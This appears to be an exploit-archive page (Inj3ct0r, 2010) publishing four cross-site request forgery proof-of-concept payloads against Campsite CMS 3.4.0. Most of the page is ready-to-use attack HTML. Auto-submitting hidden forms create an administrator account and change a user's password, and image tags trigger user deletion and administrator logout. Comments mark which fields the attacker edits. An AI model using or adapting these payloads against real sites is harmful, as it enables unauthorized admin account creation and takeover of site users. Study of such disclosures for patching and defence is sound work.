<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Campsite CMS 3.4.0 Multiple CSRF Vulnerabilities</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>================================================
Campsite CMS 3.4.0 Multiple CSRF Vulnerabilities
================================================

&lt;!—
Title: Campsite CMS 3.4.0 Multiple CSRF Vulnerabilities
Author: 10n1z3d &lt;10n1z3d[at]w[dot]cn&gt;
Date: Mon 12 Jul 2010 03:40:46 PM EEST
Vendor: http://www.sourcefabric.org/en/home/web/6/Campsite.htm?tpl=18
Download: http://sourceforge.net/projects/campsite/files/campsite/3.4.0/campsite-3.4.0.tar.gz/download
—&gt;

-=[ CSRF PoC 1 - Create Admin User ]=-

&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Campsite CMS 3.4.0 Multiple CSRF Vulnerabilities – Create Admin User&lt;/title&gt;
&lt;/head&gt;
&lt;body onload=&quot;document.csrf.submit();&quot;&gt;
&lt;form name=&quot;csrf&quot; action=&quot;http://[domain]/admin/users/do_add.php&quot; method=&quot;post&quot;&gt;
&lt;!— Edit these —&gt;
&lt;input type=&quot;hidden&quot; name=&quot;UName&quot; value=&quot;root&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;EMail&quot; value=&quot;root@root.com&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Name&quot; value=&quot;root&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;rootroot&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;passwordConf&quot; value=&quot;rootroot&quot; /&gt;
&lt;!— Do not edit below —&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Type&quot; value=&quot;1&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Title&quot; value=&quot;Mr.&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Age&quot; value=&quot;0-17&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Phone&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Phone2&quot; value=&quot;1&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;City&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;PostalCode&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;CountryCode&quot; value=&quot;AD&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;State&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Fax&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Contact&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Employer&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Position&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;StrAddress&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;uType&quot; value=&quot;Staff&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Save&quot; value=&quot;Save&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;passwordTxt&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;EmployerType&quot; value=&quot;Other&quot; /&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

-=[ CSRF PoC 2 - Change User Password ]=-

&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Campsite CMS 3.4.0 Multiple CSRF Vulnerabilities – Change User Password&lt;/title&gt;
&lt;/head&gt;
&lt;body onload=&quot;document.csrf.submit();&quot;&gt;
&lt;form name=&quot;csrf&quot; action=&quot;http://[domain]/admin/users/do_edit.php&quot; method=&quot;post&quot;&gt;
&lt;!— Edit these —&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Name&quot; value=&quot;root&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;EMail&quot; value=&quot;root@root.com&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;rootroot&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;passwordConf&quot; value=&quot;rootroot&quot; /&gt;
&lt;!— User id —&gt;
&lt;input type=&quot;hidden&quot; name=&quot;User&quot; value=&quot;2&quot; /&gt;
&lt;!— Do not edit below —&gt;
&lt;input type=&quot;hidden&quot; name=&quot;uType&quot; value=&quot;Staff&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;setPassword&quot; value=&quot;true&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;customizeRights&quot; value=&quot;false&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Save&quot; value=&quot;Save&quot; /&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

-=[ CSRF PoC 3 - Delete User ]=-

&lt;img src=&quot;http://[domain]/admin/users/do_del.php?User=2&amp;uType=Staff&quot; alt=&quot;Do you see this?&quot; /&gt;

-=[ CSRF PoC 4 - Logout The Administrator ]=-

&lt;img src=&quot;http://[domain]/admin/logout.php&quot; alt=&quot;Do you see this?&quot; /&gt;

&lt;!—

http://www.evilzone.org/

irc.evilzone.org (6697 / 9999)
—&gt;

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-12]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13312